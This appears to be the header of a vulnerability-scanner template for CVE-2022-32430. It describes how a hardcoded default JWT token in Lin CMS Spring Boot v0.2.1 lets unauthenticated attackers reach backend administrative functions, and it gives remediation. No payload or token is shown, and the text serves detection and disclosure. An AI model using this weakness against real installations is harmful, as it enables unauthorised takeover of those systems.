id: CVE-2022-32430

info:
  name: Lin CMS Spring Boot - Default JWT Token
  author: DhiyaneshDK
  severity: high
  description: |
    An access control issue in Lin CMS Spring Boot v0.2.1 allows attackers to access the backend information and functions within the application.
  impact: |
    Unauthenticated attackers can access backend administrative information and functions using a hardcoded default JWT token, potentially gaining complete control over the Lin CMS Spring Boot application including user management and content administration.
  remediation: |
    Update Lin CMS Spring Boot to a version later than 0.2.1 that uses unique JWT secret keys, removes hardcoded tokens, and implements proper token rotation.
